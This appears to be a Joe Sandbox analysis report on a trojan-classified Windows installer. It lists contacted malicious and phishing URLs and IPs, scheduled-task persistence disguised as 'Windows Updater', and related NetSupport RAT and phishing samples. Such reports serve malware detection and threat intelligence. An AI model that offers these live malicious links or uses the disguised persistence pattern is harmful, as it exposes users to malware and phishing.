https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic	a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr	false	Avira URL Cloud: safe	unknown
http://ac.economia.gob.mx/last.crl0G	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp41	wmiprvse.exe, 0000000E.00000002.4545412473.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.inlogbrowser.com/pp.txt	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.0000000005976000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1661&a=2598&dn=419&spot=3&t=1	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.oces.trust2408.com/oces.crl0	a1.exe, 00000014.00000003.2316642450.000000000433C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.advancedinstaller.com	a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr, MSI5D6E.tmp.21.dr, MSIF8B5.tmp.20.dr, MSI80A8.tmp.21.dr, MSI232D.tmp.21.dr, MSIB1F8.tmp.21.dr, MSI80A7.tmp.21.dr, MSICDCA.tmp.21.dr, MSI12C7.tmp.21.dr	false		high
https://allroadslimit.com/	Windows Updater.exe, 0000001C.00000002.2534661329.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oaticerts.com/repository/OATICA2.crl	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://certs.oati.net/repository/OATICA2.crt0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es00	a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i	a0.exe, 00000005.00000003.2247159596.000000000243D000.00000004.00001000.00020000.00000000.sdmp, a0.exe, 00000005.00000003.2190187484.0000000002650000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2232917333.00000000036FB000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2232917333.000000000373B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.00000000024EC000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.000000000249C000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2234120014.00000000024E5000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000007.00000003.2195514724.0000000003490000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1666&a=2598&dn=428&spot=6&t=	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://microleaves.com/terms-and-conditionsK	a1.exe, 00000014.00000003.2353089785.000000000438F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ambadevgroup.info/load/1509/promo.exea62	setup.tmp, 00000004.00000002.4555386282.0000000003740000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://false.apparelsilver.xyz/	setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4546268057.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	shi4D3B.tmp.33.dr	false	Avira URL Cloud: safe	low
https://pro.ip-api.com/json?key=IQgnKO7n5Bmojupb	a1.exe, 00000014.00000003.2453233427.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2452995698.00000000043AF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490078506.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2485911641.00000000043AE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2353089785.00000000043AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl.likeasurfer.com//	Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F46000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl2.postsignum.cz/crl/psrootqca4.crl01	a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://sparksteam.site/Q	ZmWSzgevgt.tmp, 00000001.00000002.4546318478.000000000098D000.00000004.00000020.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000001.00000003.2102655489.000000000098D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.datev.de/zertifikat-policy-int0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1658&a=2598&dn=416&spot=7&t=	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sparksteam.site/pill.phpSm	ZmWSzgevgt.tmp, 00000001.00000003.2102655489.0000000000961000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.acabogacia.org0	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.firmaprofesional.com/cps0	a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pro.ip-api.com/json?key=IQgnKO7n5Bmojup8bX	a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://pro.ip-api.com/json?key=IQgnKO7n5Bmojup	a1.exe, a1.exe, 00000014.00000003.2452995698.000000000435A000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2313068197.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	shi4D3B.tmp.33.dr	false	Avira URL Cloud: safe	low
http://crl.securetrust.com/SGCA.crl0	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.agenment.clo	setup.tmp, 00000004.00000002.4546268057.0000000000857000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.agesic.gub.uy/acrn/acrn.crl0)	a1.exe, 00000014.00000003.2316716305.0000000004329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dl.likeasurfer.com/7	Windows Updater.exe, 0000001F.00000002.2922284466.0000000000F46000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=17	setup.tmp, 00000004.00000002.4557910495.0000000005955000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rcsc.lt/repository0	a1.exe, 00000014.00000003.2317121482.000000000440A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe	setup.tmp, 00000004.00000002.4546268057.0000000000804000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4557910495.000000000596F000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://web.certicamara.com/marco-legal0Z	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps0	a1.exe, 00000014.00000003.2316445533.000000000436D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=yes&o=1662&a=2598&dn=420&spot=5&t=	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://false.apparelsilver.xyz/ar.php?d=inno&r=offer_execution&rk=no&o=1627&a=2598&dn=286&spot=1&t=1	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://send.planewool.xyz/track_uki.php?tim=1701869569&rcc=US&c=2598&p=0.92	setup.exe, 00000003.00000003.2106854076.00000000026A0000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000002.4546460668.00000000023C9000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4550600836.000000000259F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4555610493.000000000391B000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2112076757.0000000003630000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://certs.oaticerts.com/repository/OATICA2.crt08	a1.exe, 00000014.00000003.2316597553.0000000004345000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://.jpg	shi4D3B.tmp.33.dr	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.251.111.100	clients.l.google.com	United States	15169	GOOGLEUS	false
185.23.108.224	www.agenment.cloud	Hungary	6876	TENET-ASUA	false
13.107.246.40	part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.32.100	dl.likeasurfer.com	United States	13335	CLOUDFLARENETUS	false
95.142.47.11	myptofgrtulo.info	Russian Federation	48282	VDSINA-ASRU	true
157.230.96.32	pstbbk.com	United States	14061	DIGITALOCEAN-ASNUS	true
54.165.38.232	collect.installeranalytics.com	United States	14618	AMAZON-AESUS	false
142.251.16.138	unknown	United States	15169	GOOGLEUS	false
104.21.73.195	sidemark.xyz	United States	13335	CLOUDFLARENETUS	true
104.21.74.109	allroadslimit.com	United States	13335	CLOUDFLARENETUS	false
51.142.119.24	geo.netsupportsoftware.com	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.52.223	sparksteam.site	United States	13335	CLOUDFLARENETUS	true
37.1.198.251	ambadevgroup.info	Ukraine	28753	LEASEWEB-DE-FRA-10DE	true
159.223.29.40	kapetownlink.com	United States	46118	CELANESE-US	true
172.67.198.151	false.apparelsilver.xyz	United States	13335	CLOUDFLARENETUS	true
172.253.63.105	www.google.com	United States	15169	GOOGLEUS	false
104.21.90.147	send.planewool.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.213.153	axsboe-campaign.com	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.253.115.84	accounts.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1354609
Start date and time:	2023-12-06 14:32:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	62
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZmWSzgevgt.exe renamed because original name is a hash value
Original Sample Name:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724.exe
Detection:	MAL
Classification:	mal64.troj.evad.winEXE@101/607@56/21
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 83% Number of executed functions: 110 Number of non-executed functions: 206
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.207.202.7, 192.229.211.108, 69.164.0.128, 172.253.115.94, 34.104.35.123, 13.107.21.200, 204.79.197.200, 23.212.250.23, 23.212.250.21, 23.212.250.4, 23.212.250.19, 23.212.250.15, 23.212.250.22, 23.212.250.17, 23.212.250.20, 23.212.250.25, 23.218.218.184, 23.218.218.190, 23.12.147.5, 23.12.147.31, 23.12.147.39, 23.12.147.52, 23.12.147.4, 23.12.147.47, 23.12.147.45, 23.12.147.38, 23.12.147.37, 23.48.203.196, 23.48.203.200, 23.48.203.202, 23.48.203.206, 23.48.203.210, 23.48.203.205, 20.190.190.193, 20.190.190.130, 40.126.62.130, 40.126.62.132, 20.190.190.129, 20.190.190.195, 40.126.62.131, 20.190.190.194, 20.190.190.132, 20.190.190.131, 40.126.62.129, 20.190.190.196, 204.79.197.203, 20.110.205.119, 51.11.192.50, 23.218.218.137, 23.218.218.154, 23.218.218.159, 23.218.218.155, 23.212.250.13, 23.212.250.18, 23.212.250.14, 23.212.250.12, 23.212.250.11, 23.212.250.16, 23.212.250.10, 23.212.250.5, 23.212.250.8, 23.212.250.9, 23.212.250.6, 23.222.200.163, 23.207.202.21, 142.2
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, p-static.bing.trafficmanager.net, ak.privatelink.msidentity.com, iplogger.com, e86303.dscx.akamaiedge.net, onedscolprdfrc04.francecentral.cloudapp.azure.com, ocsp.digicert.com, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, update.googleapis.com, e28578.d.akamaiedge.net, 116.t.keepitpumpin.io, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, dual-a-0001.a-msedge.net, aadcdnoriginwus2.azureedge.net, aadcdn.msauth.net, www-www.bing.com.trafficmanager.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, aadcdnoriginwus2.afd.azureedge.net, www2-www2.bing.com.trafficmanager.net, 115.t.keepitpumpin.io, www.tm.lg.prod.aadmsa.trafficmanager.net, m74b54.space, ssl2.tiles.virtualearth.net.edgekey.net, c-msn-com-nsatc.trafficmanager.net, c-bing-com.a-0001.a-msedge.net, aefd.nelreports.net.akamaized.net, bing.com, 124.t.keepitpumpin.io, prda.aadg.msidentity.com,
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: ZmWSzgevgt.exe

Simulations

Behavior and APIs

Time	Type	Description
14:33:35	API Interceptor	2x Sleep call for process: msiexec.exe modified
14:33:40	Task Scheduler	Run new task: AdvancedUpdater path: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe s>/silentall -nofreqcheck -nogui
14:33:53	API Interceptor	9445891x Sleep call for process: wmiprvse.exe modified
14:34:01	Task Scheduler	Run new task: AdvancedWindowsManager #1 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 110 -t 8080
14:34:01	Task Scheduler	Run new task: AdvancedWindowsManager #2 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 111 -t 8080
14:34:01	Task Scheduler	Run new task: AdvancedWindowsManager #3 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 112 -t 8080
14:34:01	Task Scheduler	Run new task: AdvancedWindowsManager #4 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 113 -t 8080
14:34:02	Task Scheduler	Run new task: AdvancedWindowsManager #5 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 114 -t 8080
14:34:03	Task Scheduler	Run new task: AdvancedWindowsManager #6 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 115 -t 8080
14:34:25	Task Scheduler	Run new task: AdvancedWindowsManager #7 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 122 -t 8080
14:34:25	Task Scheduler	Run new task: AdvancedWindowsManager #8 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 123-t 8080
14:34:25	Task Scheduler	Run new task: AdvancedWindowsManager #9 path: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe s>-v 124 -t 8080

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
13.107.246.40	https://padlet.com/davidmainwaring/davidmainwaring_december_06_2023_inv91730_from_survey_soluti-r59luutu81u7c4if	Get hash	malicious	HTMLPhisher	Browse
	Contract.htm	Get hash	malicious	HTMLPhisher	Browse
	http://3w5vyd0hym.phenosed.sbs	Get hash	malicious	HTMLPhisher	Browse
	https://p.feedblitz.com/t3.asp?/1081591/102442729/7821567_/~feeds.feedblitz.com/~/t/0/0/sethsblog/posts/~//twitterwqMx.amkaypaint.com/bWFyZ2FyZXRhLmthcmxzc29uQGhsLWRpc3BsYXkuY29t	Get hash	malicious	HTMLPhisher	Browse
	5sL4tK1.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, Xmrig, zgRAT	Browse
	https://vincentmedina.com/cgi-bin/info/aksdkscndkvndkvndkvmdvkmdvv/akxmaskcacksdacnopcscmvcdkv/3847djcd/eavwrfbvmbozkrwsmqjvdgpaqiecmafxzbpvgltseyevnexlgy/Q2F0aGVyaW5lLkplbm5pbmdzQGFnZWRjYXJlcXVhbGl0eS5nb3YuYXU	Get hash	malicious	HTMLPhisher	Browse
	654.htm	Get hash	malicious	HTMLPhisher	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vQPPeBl4OJWocOx6H8XgquYKWbbwo-ylUypJqFt3WJKIF6Fwyj-u4rbp_o7Scs2vBZ9a-m63gUmy-zq/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vQPPeBl4OJWocOx6H8XgquYKWbbwo-ylUypJqFt3WJKIF6Fwyj-u4rbp_o7Scs2vBZ9a-m63gUmy-zq/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse
	https://pub-88f64e013ca94e82aa5d15393134722c.r2.dev/logs.html	Get hash	malicious	HTMLPhisher	Browse
	https://pub-78276a6c19a944c3b7f174ec1b02a0c9.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse
	https://pub-6a29a82d569c4dc8b818f752a1f5d0b5.r2.dev/potil.html	Get hash	malicious	HTMLPhisher	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vSqEdInywI61AzRx6TovG6oMX4B1C1i9iBNQKO0CY9ZqYSuT4UaLKBeShl-kJ1HKv00HBhhR3jr5tOS/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vSqEdInywI61AzRx6TovG6oMX4B1C1i9iBNQKO0CY9ZqYSuT4UaLKBeShl-kJ1HKv00HBhhR3jr5tOS/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse
	Ocr.denver_Fax.html	Get hash	malicious	HTMLPhisher	Browse
	FAXlog_14354476587_20231205665437.htm	Get hash	malicious	HTMLPhisher	Browse
	Notification_ Separate Payment Advice - Paper document number - 6138922.eml	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAF190Pe6qA/mmX36vXDl2qw5vjdoUUqmg/edit?utm_content=DAF190Pe6qA&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	HTMLPhisher	Browse
	Paid Invoice.msg	Get hash	malicious	HTMLPhisher	Browse
	Paid Invoice.msg	Get hash	malicious	HTMLPhisher	Browse
104.21.32.100	5dc7e9979eac4e1aef7b7479431445d4397bd53757f23.exe	Get hash	malicious	NetSupport RAT	Browse
	KCWggPUR7S.exe	Get hash	malicious	Unknown	Browse
	6zDHRCEqdN.exe	Get hash	malicious	Unknown	Browse
	52Yw9ysEeu.exe	Get hash	malicious	Unknown	Browse
	iX7ahNVKav.exe	Get hash	malicious	Unknown	Browse
	Total_Overdose_Torrent_Download.exe	Get hash	malicious	Unknown	Browse
	6b109e55911293b4e5098d3711849b85499a988385721.exe	Get hash	malicious	NetSupport RAT	Browse
	BJeLg1HKR4.exe	Get hash	malicious	Unknown	Browse
	24a93ddf60120497dd5848ec03147621840eb5b371d81.exe	Get hash	malicious	NetSupport RAT	Browse
	ncYRyHtNVs.exe	Get hash	malicious	Unknown	Browse
	run_206fc.exe	Get hash	malicious	Unknown	Browse
	Windows_10_Pro_Anniversary_Update_PT-BR_3265_Bits.exe	Get hash	malicious	Unknown	Browse
	Microsoft_Windows_and_Office_ISO_Downol_8.15_+_Crack_2019.exe	Get hash	malicious	Unknown	Browse
	54zEUp34e1.exe	Get hash	malicious	Unknown	Browse
	ECnCJ4QWok.exe	Get hash	malicious	Unknown	Browse
	IcEL4U66yX.exe	Get hash	malicious	Unknown	Browse
	IcEL4U66yX.exe	Get hash	malicious	Unknown	Browse
	hWiWP9kOC9.exe	Get hash	malicious	Unknown	Browse
	S4iK1tSHGc.exe	Get hash	malicious	Unknown	Browse
	S4iK1tSHGc.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	4sOWr9V8wF.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	agreeprovide.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	agreeprovide.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	4sOWr9V8wF.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	svcservice.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	evervendor.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	evervendor.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	slJI3GfTps.exe	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
	slJI3GfTps.exe	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	Update_browser_17.645330.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	Update_browser_17.645327.js	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
	Update_browser_17.645328.js	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
	Update_browser_17.645329.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	Update_browser_17.6436.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	Update_browser_17.645329.js	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
	Update_browser_17.645330.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	Update_browser_17.645327.js	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
	Update_browser_17.6436.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.8
	Update_browser_17.645328.js	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	646f739241e98f819327983bb8083baa.exe	Get hash	malicious	NetSupport RAT	Browse	51.142.119.24
allroadslimit.com	2646fef76ae933018ff8a48e7c46c4ae6a82176107f7d.exe	Get hash	malicious	NetSupport RAT	Browse	188.114.97.7
	5dc7e9979eac4e1aef7b7479431445d4397bd53757f23.exe	Get hash	malicious	NetSupport RAT	Browse	188.114.97.7
	83cb5a6474ba3f6b38ea11c903da87e02122bfe7cb5b5.exe	Get hash	malicious	NetSupport RAT	Browse	188.114.96.7
	52Yw9ysEeu.exe	Get hash	malicious	Unknown	Browse	188.114.96.7
	iX7ahNVKav.exe	Get hash	malicious	Unknown	Browse	188.114.96.7
	83cb5a6474ba3f6b38ea11c903da87e02122bfe7cb5b5.exe	Get hash	malicious	NetSupport RAT	Browse	188.114.96.7
